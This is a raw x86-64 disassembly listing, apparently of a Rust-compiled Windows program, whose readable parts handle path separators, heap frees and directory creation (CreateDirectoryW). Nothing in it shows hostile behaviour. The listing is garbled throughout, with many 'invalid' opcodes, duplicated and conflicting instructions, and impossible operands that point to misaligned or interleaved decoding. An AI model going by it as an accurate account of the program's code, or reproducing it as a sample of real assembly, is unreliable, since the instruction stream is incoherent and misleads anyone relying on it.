movups xmm0, xmmword [rbp + 0xa0]
adc byte [rbp + 0xa0], al
movabs al, byte [0x11085290f000000]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rbp + 0x110], xmm0
sub dword [rbp + 0x110], eax
adc byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xb0]
mov eax, dword [rbp + 0xb0]
test dword [rax + 0x48000000], esi
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x120], rax
mov dword [rbp + 0x120], eax
test dword [rax], esp
and byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x77], cl
cmc
mov r13, rsi
mov ebp, esi
mov rsi, rdi
mov esi, edi
inc dh
test dword [rdi], ebp
invalid
add dword [rax], eax
invalid
mov byte [rbp + 0x12f], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x68]
push 0x4df28948
push 0x4df28948
mov rdx, rsi
mov edx, esi
mov r8, r13
mov r8, r13
mov eax, ebp
call 0x13fd67f39
call fcn.1400d8910
movzx edx, byte [rbp + 0x68]
mov dh, 0x55
invalid
mov esi, 0xfffffc8
enter 0xffffffffffffffff, 0xf
invalid
dec dword [rdi]
mov dh, 0x55
push 0x784d8b48
mov rcx, qword [rbp + 0x78]
mov ecx, dword [rbp + 0x78]
js case.0x1400dbbc3.50
mov rax, qword [rbp + 0x88]
mov eax, dword [rbp + 0x88]
test dword [rax + 0x4c000000], ecx
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
lea r8, [0x1401758fc]
lea eax, [0x1401758fc]
add eax, 0x99894
xchg esp, eax
cwde
or dword [rax], eax
movsxd r9, dword [r8 + rdx*4]
invalid
or al, 0x90
nop
add r9, r8
mov rdx, rsi
bnd jmp r9
jmp r9
add rcx, 4
add ecx, 4
add al, 0xe9
test byte [rax], 0
jmp case.0x1400d90d6.140
add byte [rbp + rcx*4 + 0x42], cl
add dword [rax - 0x7b], ecx
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
cmove r8, rdx
cmove eax, edx
ror byte [rdi + rcx + 0x44], cl
cmove eax, edx
ret 0x14c
add rcx, r8
add rcx, 8
add ecx, 8
ror dword [rax - 0x7d], 0xc1
or bl, ch
invalid
add ecx, 8
jmp 0x1400dc0b2
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
invalid
invalid
invalid
jmp 0x1400dc0b2
lea r8, [rdx + 1]
test rdx, rdx
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
ret 0x14c
ret 0x14c
add rcx, r8
add rcx, 2
add ecx, 2
rol dword [rdx], 0xeb
jmp 0x1400dc0b2
add eax, 0x2b9
add byte [rbp - 0x77], cl
call 0x14fd5ea02
sub r8, rcx
invalid
invalid
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov r8, r13
sub r8, rcx
enter 0xffffffffffff820f, 0x48
add eax, 0x1480000
add byte [rax], al
invalid
invalid
jb 0x1400dc606
add byte [rax], al
add rcx, rsi
add ecx, esi
int1
mov r9, rcx
leave
test r8, r8
je 0x1400dc0d7
invalid
movzx ecx, byte [r9]
movzx ecx, byte [rcx]
cmp ecx, 0x2f
je 0x1400dc0db
or dword [rbx + 0x4745cf9], eax
cmp ecx, 0x5c
stc
pop rsp
je 0x1400dc0db
cmp al, 5
jae case.0x1400dbd4b.33
add eax, 0x8d484273
invalid
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov r8, r14
mov eax, esi
call fcn.1400d8910
inc dword [rdi + rcx - 0x4a]
movzx r8d, byte [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov dh, 0x85
rol byte [rax], 0
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edx
rol byte [rax], 1
add byte [rax], al
invalid
invalid
xchg ebp, eax
loopne 0x1400dc101
rol byte [rax], 1
add byte [rax], al
mov rdx, qword [rbp + 0xe0]
add byte [rax], al
lea rcx, [0x1401758c8]
lea ecx, [0x1401758c8]
or dword [rax], eax
add byte [rsi + 0x63], cl
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
add r9, rcx
jmp r9
invalid
lea rcx, [rax + 4]
jmp 0x1400dc58f
test r12b, r12b
in al, 0xf
test byte [rsi - 4], bh
je case.0x1400b40f6.941
invalid
lea edx, [0x1401463a0]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.1400db2b0
invalid
invalid
invalid
jmp case.0x1400b40f6.941
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
cmove edx, eax
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove edx, eax
add rcx, rdx
add rcx, 8
jmp case.0x1400d90d6.140
mov ecx, 6
cmove edx, eax
add rcx, rdx
add rcx, 8
jmp case.0x1400d90d6.140
mov ecx, 6
invalid
jmp case.0x1400d90d6.140
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
cmove edx, eax
cmove edx, eax
add rcx, rdx
add rcx, 2
jmp case.0x1400d90d6.140
mov ecx, 2
cmp rcx, r13
ja 0x1400dc615
add byte [rax], al
jne 0x1400dc183
mov edx, ecx
movzx eax, byte [rdx]
mov dh, 2
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
enter 0xffffffffffff8b48, 0xffffffffffffff8d
mov byte [rax], al
add byte [rax], al
enter 0xffffffffffff8b48, 0xffffffffffffff8d
mov byte [rax], al
add byte [rax], al
mov qword [rbp + 0xf0], rcx
movups xmm0, xmmword [rbp + 0x68]
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0x68], al
movups xmm1, xmmword [rbp + 0x78]
movups xmmword [rbp + 0xe0], xmm1
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0xd0], eax
add byte [rax], al
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xc0], rsi
rol byte [rax], 0
add byte [rcx + rcx*4 - 0x53], cl
mov qword [rbp + 0xc8], r13
add byte [rax], al
mov qword [rbp + 0xc8], r13
mov word [rbp + 0xf8], 0x200
add byte [rax], al
add byte [rax], al
add cl, byte [rax + 0xfa85]
add byte [rax - 0x73], cl
add byte [rax], al
add byte [rdx], al
mov byte [rbp + 0xfa], al
lea rsi, [rbp + 0x69]
jne 0x1400dc246
jne 0x1400dc246
lea rdi, [rbp + 0x68]
lea rbx, [rbp + 0xc0]
popfq
rol byte [rax], 0
add byte [rbp + 0x31], al
invalid
jge case.0x1400d98c4.163
popfq
rol byte [rax], 0
add byte [rbp + 0x31], al
dec dword [rbp + rcx*4 - 0x4b]
adc byte [rcx], al
add byte [rax], al
lea r14, [rbp + 0x110]
jmp case.0x1400d98c4.162
nop dword cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], esp
add dword [rax], eax
mov rax, qword [rbp + 0x120]
add byte [rax - 0x75], cl
lea ebx, [rax]
mov rcx, qword [rbp + 0x118]
imul rdx, rax, 0x38
invalid
add dword [rax], eax
add byte [rax + 0x6b], cl
sar byte [rax], 1
invalid
cmp byte [rax + rcx*4 + 0x24], al
mov byte [rcx + rdx], r12b
movups xmm0, xmmword [rsi]
adc dword [rdi], ecx
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], dl
adc byte [rsi + 0x20], dl
movups xmmword [rcx + rdx + 1], xmm0
movups xmmword [rcx + rdx + 0x11], xmm1
adc dword [rcx + rdx + 0x11], ecx
add dword [rdi], ecx
adc dword [rcx + rdx + 0x11], ecx
movups xmmword [rcx + rdx + 0x21], xmm2
push rsp
adc dword [rcx], esp
mov r8, qword [rsi + 0x2f]
mov qword [rcx + rdx + 0x30], r8
inc rax
ror byte [rax - 0x77], 0x85
and byte [rcx], al
add byte [rax], al
ror byte [rax - 0x77], 0x85
and byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x12f], 0
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
call fcn.1400d8dc0
movzx r12d, byte [rbp + 0x68]
movzx esp, byte [rbp + 0x68]
movzx esp, byte [rbp + 0x68]
cmp r12b, 0xa
je 0x1400dc328
test ah, al
add byte [rax], al
invalid
or cl, byte [rdi]
test ah, al
add byte [rax], al
add byte [rcx - 0x73], al
lea eax, [rsp - 6]
lea eax, [r12 - 6]
lea eax, [rsp - 6]
lea ecx, [r12 - 5]
cmp al, 4
movzx eax, cl
cmovae eax, r15d
cmp al, 1
je 0x1400dc2c0
movzx eax, al
cmp eax, 2
je case.0x1400d98c4.162
and byte [rcx], al
add byte [rax], al
test rax, rax
je case.0x1400d98c4.162
scasd eax, dword [rdi]
mov rcx, qword [rbp + 0x118]
dec rax
enter 0x6b48, 0xffffffffffffffd0
imul edx, eax, 0x38
imul edx, eax, 0x38
cmp byte [rcx + rdx], 9
jne case.0x1400d98c4.162
mov qword [rbp + 0x120], rax
jmp case.0x1400d98c4.162
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rcx], dh
ror byte [rax - 0x7d], 0xbd
mov ebp, 0x120
xor eax, eax
cmp qword [rbp + 0x120], 0
mov ebp, 0x120
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x77], 0x85
and byte [rcx], al
add dword [rax], eax
invalid
mov ebp, 0x120
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x77], 0x85
and byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x39], cl
test dword [rax], edx
add dword [rax], eax
cmp qword [rbp + 0x110], rax
jne case.0x1400d8f11.147
invalid
invalid
invalid
add byte [rdi], cl
test dword [rsi], esp
invalid
inc esi
test dword [rdi], ebp
invalid
add dword [rax], eax
add byte [rax], al
invalid
mov byte [rbp + 0x12f], 0
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
call fcn.1400da040
jmp 0x1400dc200
invalid
invalid
jmp qword [rsi + 0x66]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], esp
and byte [rcx], al
add byte [rax], al
cmp rax, qword [rbp + 0x110]
invalid
test ebx, esi
invalid
invalid
and byte [rcx], al
add byte [rax], al
cmp rax, qword [rbp + 0x110]
jne case.0x1400d8f11.147
invalid
inc esi
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.1400da040
jmp 0x1400dc200
invalid
invalid
dec dword [rax - 0x39]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
push r8
push rax
mov qword [rbp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
pop r8
add byte [rax], al
mov qword [rbp + 0x58], 0
mov dword [rbp + 0x58], 0
add byte [rax], al
mov byte [rbp + 0x60], 1
mov rax, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
invalid
adc byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0xb8], rax
test dword [rax + 0x48000000], edi
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
test dword [rax], ebx
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax], ecx
add dword [rax], eax
sbb byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x108], rax
add byte [rax - 0x75], cl
test dword [rax], esp
add dword [rax], eax
mov rax, qword [rbp + 0x120]
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
invalid
je 0x1400dc50a
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x6b], cl
invalid
imul rsi, rax, 0x38
imul esi, eax, 0x38
mov rbx, qword [rbp + 0x108]
add rsi, rbx
lea r12, [rbp + 0xc1]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
mov word [rbp - 0x3fcefff7], ss
xchg ebp, eax
or dword [rax], eax
xor eax, eax
lea r14, [0x140175918]
xchg ebp, eax
or dword [rax], eax
add byte [rcx], dh
xor eax, eax
shr bl, 0xf
jmp case.0x1400d8f11.130
xor eax, eax
add rbx, 0x38
cmp rbx, rsi
cmp ebx, esi
je 0x1400dc50a
movzx edi, byte [rbx]
mov dh, 0x3b
cmp eax, dword [rbx - 0x7bf0f501]
cmp edi, 0xa
dec dword [rdx]
je 0x1400dc50a
test byte [rdi + 1], bl
add byte [rax], al
invalid
pop rdi
add dword [rax], eax
add byte [rax - 0x78], al
mov ebp, 0xc0
mov byte [rbp + 0xc0], dil
mov rcx, qword [rbx + 0x30]
mov ecx, dword [rbx + 0x30]
xor byte [rcx - 0x77], cl
and al, 0x2f
mov qword [r12 + 0x2f], rcx
mov dword [rsp + 0x2f], ecx
movups xmm0, xmmword [rbx + 1]
adc byte [rbx + 1], al
add dword [rdi], ecx
adc byte [rbx + 0x11], cl
invalid
invalid
movups xmm1, xmmword [rbx + 0x11]
adc dword [rdi], ecx
adc byte [rbx + 0x21], dl
movups xmm2, xmmword [rbx + 0x21]
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x10], xmm1
invalid
and al, 0x10
adc byte [rcx + 0xf], al
adc dword [rsp], eax
add al, 0x24
movups xmmword [r12], xmm0
add al, 0x24
and al, 0xa8
add dword [rbp + rbp + 0x48], esi
je 0x1400dc409
invalid
test al, 1
je 0x1400dc409
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
lea rdx, [0x1401464e0]
adc eax, 0x6a0f6
add al, ch
mov cl, 0xcd
invalid
call fcn.1400d91a0
test al, al
jne 0x1400dc409
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rdx, [0x1401463a0]
lea rdx, [0x1401463a0]
lea rcx, [rbp + 0x48]
lea rdx, [0x1401463a0]
adc eax, 0x69f9c
lahf
invalid
call fcn.1400db2b0
cmpsd dword [rsi], dword [rdi]
out dx, al
invalid
lea r13d, [rdi - 6]
cli
lea eax, [rdi - 5]
sti
cmp r13b, 4
movzx eax, al
mov ecx, 0
cmovae eax, ecx
ror dword [r11 + r9*4 - 0x43], 0xd0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
ror dword [r11 + r9*4 - 0x43], 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx eax, al
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
mov ebp, 0xd0
movzx r8d, al
movzx eax, al
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
add eax, esi
jmp rax
mov rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
xchg ebp, eax
call 0x18c0dc43b
invalid
invalid
mov eax, dword [rbp + 0xf0]
lock add byte [rax], al
add bl, ch
invalid
jmp 0x1400dc480
cmp eax, 0xc8958b48
add byte [rax], al
add byte [rbp - 0x77], cl
clc
mov eax, edi
jmp 0x1400dc480
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1401463a1]
lea edx, [0x1401463a1]
lea edx, [0x1401463a1]
adc eax, 0x69f45
jmp 0x1400dc480
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x14016e9bc]
lea edx, [0x14016e9bc]
push rcx
and eax, 0x13eb0009
jmp 0x1400dc480
lea rdx, [0x1401463a0]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x48]
lea ecx, [rbp + 0x48]
call fcn.1400db2b0
movzx ecx, r13b
inc rcx
cmp r13b, 4
mov eax, 0
cmovae rcx, rax
enter 0xffffffffffff8348, 0xfffffffffffffff9
invalid
enter 0xffffffffffff8348, 0xfffffffffffffff9
add dword [rdi], ecx
invalid
test cl, ch
invalid
je 0x1400dc390
mov al, 1
test rcx, rcx
jne 0x1400dc392
loopne 0x1400dc4b7
adc eax, 0x9946a
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
add r15, 8
jmp 0x1400dc4ff
jmp 0x1400dc4ff
test eax, eax
cmove rcx, rax
add r15, rcx
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
add r15, 2
test r15, r15
setne al
jmp 0x1400dc392
mov dh, bh
invalid
invalid
mov dh, bh
invalid
invalid
cmp qword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x14017d208]
je 0x1400dc52a
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x108]
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x32ed6
add byte [rax - 0x75], cl
mov rsi, qword [rbp + 0x30]
jne 0x1400dc55e
xor byte [rax - 0x7d], cl
add byte ds:[rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 8]
invalid
cmp qword [rsi], 0
je 0x1400dc547
mov r8, qword [rsi + 8]
or byte [rax - 0x75], cl
or eax, 0xa0cc9
invalid
mov rcx, qword [0x14017d208]
add byte [rcx], dh
xor edx, edx
sar bh, cl
adc eax, 0x32eb9
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
movups xmm0, xmmword [rbp + 0x48]
adc byte [rbp + 0x48], al
movups xmm1, xmmword [rbp + 0x58]
movups xmm1, xmmword [rbp + 0x58]
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], cl
adc dword [rsi], eax
movups xmmword [rsi], xmm0
jmp 0x1400dbdb2
dec dword [rax - 0x73]
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 2
jmp 0x1400dc58f
invalid
ror byte [rax + 0xf], cl
retf 0x148
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x1400dc58f
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 8
jmp 0x1400dc58f
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
retf 0x148
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
int1
add byte [rax], al
cmp rcx, r14
int1
ja 0x1400dc5f7
mov ecx, r8d
mov ecx, eax
lea r8, [0x1401758e4]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
add eax, 4
jmp 0x1400dc5e5
rol byte [rbx + rbp*8], 0x38
xor eax, eax
jmp 0x1400dc5ee
invalid
cmp eax, 0x14a8d48
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 2
jmp 0x1400dc5e5
invalid
and byte [rax + 6], bh
jmp 0x1400dc5e5
invalid
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
jmp 0x1400dc5e5
mov eax, 2
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r14, rax
invalid
jb case.0x1400b40f6.941
mov qword [rbx + 0x10], rax
jmp case.0x1400b40f6.941
lea r8, str.library_std_srcpath.rs
popfq
invalid
mov rdx, r14
call fcn.140104660
add byte [rdx], 0
add byte [rdx], 0
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.140104660
add byte [rdx], 0
add byte [rdx], 0
mov byte [rbp + 0x12f], 0
invalid
add dword [rax], eax
add byte [rax], al
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.140104660
ud2
popfq
popfq
invalid
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0xe0
loopne 0x1400dc635
add byte [rax], al
add al, ch
and al, 0x7d
add al, byte [rax]
invalid
add byte [rax], al
call fcn.140104360
add ah, cl
nop dword [rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0xb8
invalid
je 0x1400dc67c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
or ecx, dword [rdx]
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x48], 0
je 0x1400dc696
invalid
mov r8, qword [rbp + 0x50]
mov eax, dword [rbp + 0x50]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or ecx, dword [rdx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x32d6a
mov byte [rbp + 0x12f], 1
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0xa0], 0
add byte [rax], al
add byte [rax], al
je 0x1400dc6ec
mov r8, qword [rbp + 0xa8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x12f], 0
jne 0x1400dc745
cmp qword [rbp + 0x110], 0
je 0x1400dc745
mov r8, qword [rbp + 0x118]
mov rcx, qword [0x14017d208]
or cl, byte [rdx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x32cbb
or cl, byte [rdx]
add byte [rcx], dh
sar bh, cl
adc eax, 0x32cbb
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
loopne 0x1400dc7e8
mov dword [rbp - 0x18], ecx
lea rcx, [rbp - 0x40]
lea ecx, [rbp - 0x40]
lea rdx, [rbp - 0x28]
call fcn.1400db520
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
cmp rdi, rbx
jne 0x1400dc7c9
fbstp tbyte [rbp + 0xc]
mov rax, rsi
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
invalid
add byte [rbp + 0x481b74c0], al
test edi, edi
test eax, eax
je 0x1400dc7f3
test rdi, rdi
je 0x1400dc81d
mov rcx, qword [0x14017d208]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x32c11
invalid
adc eax, 0x32c11
xor eax, eax
jmp case.0x1400dbc8d.58
shr bl, 0xcd
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x32b0f
add eax, dword [rax]
shl rax, 0x20
shl eax, 0x20
or rax, 2
test rdi, rdi
test edi, edi
test edi, edi
je case.0x1400dbc8d.58
mov rcx, qword [0x14017d208]
or eax, 0xa09fb
or al, byte [rax]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, esi
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x32be5
adc eax, 0x32be5
sub eax, dword [rbx]
add bl, ch
movabs al, byte [0xcccccccc9febc031]
shr bl, 0x9f
int3
int3
int3
int3
int3
jmp 0x1400dc7bd
xor eax, eax
shr bl, 0x9f
jmp case.0x1400dbc8d.58
lahf
int3
int3
int3
int3
int3
int3
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1e8
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], 0xfffffffffffffffe
invalid
add dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], esp
invalid
invalid
invalid
add byte [rax], al
invalid
mov rbx, rdx
mov ebx, edx
mov rdi, rcx
lea rcx, [rbp + 0xb0]
mov rdx, rdi
mov edx, edi
mov edx, edi
mov r8, rbx
call fcn.1400d8910
invalid
sar bh, 0xff
invalid
invalid
invalid
dec dword [rdi]
mov dh, 0x85
invalid
mov al, 0
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbp + 0xb0]
test dword [rax + 0x48000000], esi
mov ecx, dword [rbp + 0xc0]
invalid
rol byte [rax], 0
invalid
mov rcx, qword [rbp + 0xc0]
invalid
mov rdx, qword [rbp + 0xd0]
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xb6
invalid
invalid
invalid
movzx r8d, al
lea r9, [0x140175944]
lea ecx, [0x140175944]
or eax, 0x990b6
or eax, 0x990b6
mov dh, 0x90
nop
or dword [rax], eax
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rbx
mov r9, rdi
jmp r10
jmp rdx
invalid
loop 0x1400dc8e7
add rcx, 4
add ecx, 4
jmp 0x1400dc8d8
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
cmove eax, edx
invalid
invalid
test rdx, rdx
cmove r8, rdx
cmove eax, edx
add rcx, r8
add rcx, 8
ror dword [rax], 0xeb
invalid
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
invalid
invalid
jmp 0x1400dc8d8
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
add ch, bl
invalid
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
add ch, bl
add eax, 0x2b9
invalid
add al, byte [rax]
add byte [rax], al
mov ecx, 2
add byte [rax], al
add byte [rcx - 0x77], cl
fmul dword [rcx + 0x29]
enter 0xffffffffffff820f, 0x73
add eax, 0x1480000
add rcx, rdi
mov r8, rbx
sub r8, rcx
enter 0xffffffffffff820f, 0x73
invalid
add byte [rax], al
mov r9, rcx
test r8, r8
je 0x1400dc903
sal byte [rsp + rdx + 0x41], 0xf
mov dh, 9
invalid
movzx ecx, byte [r9]
cmp cl, 0x2f
sete dl
cmp cl, 0x5c
sete cl
or cl, dl
jmp 0x1400dc905
xor ecx, ecx
mov rdx, qword [rbp + 0xd0]
add byte [rax], al
mov qword [rbp + 0x5f], rdx
movups xmm0, xmmword [rbp + 0xb1]
adc byte [rbp + 0xb1], al
adc byte [rbp + 0xb1], al
movups xmm1, xmmword [rbp + 0xc1]
add byte [rax], al
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x40], xmm0
test rbx, rbx
test rbx, rbx
je 0x1400dc931
cmp al, 6
jne case.0x14009f75c.1020
and byte [rbx + rax], bh
cmp al, 3
jae case.0x1400d95c2.139
mov rdx, qword [rbp + 0x5f]
pop rdi
mov qword [rbp + 0x2f], rdx
mov dword [rbp + 0x2f], edx
invalid
movaps xmm0, xmmword [rbp + 0x40]
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x20], xmm1
and byte [r15], r9b
sub dword [rbp + 0x10], eax
and byte [r15], r9b
sub dword [rbp + 0x10], eax
mov rsi, rdi
mov qword [rbp + 0x120], rdi
add byte [rax], al
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0x128], rbx
mov byte [rbp + 0x130], al
movaps xmm0, xmmword [rbp + 0x10]
adc byte [r15], r9b
sub byte [rbp + 0x20], cl
movups xmmword [rbp + 0x131], xmm0
test dword [rcx], esi
add dword [rax], eax
add byte [rax], al
test dword [rcx], esi
add dword [rax], eax
add byte [rax], al
movups xmmword [rbp + 0x141], xmm1
movups xmmword [rbp + 0x141], xmm1
mov rax, qword [rbp + 0x2f]
mov qword [rbp + 0x150], rax
mov word [rbp + 0x158], 0x200
mov byte [rbp + 0x15a], cl
lea rax, [0x14016f768]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], 0
mov byte [rbp + 0x78], 6
mov word [rbp + 0xa0], 0x200
add byte [rdx], al
mov byte [rbp + 0xa2], 0
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x120]
xchg ebp, eax
and byte [rcx], al
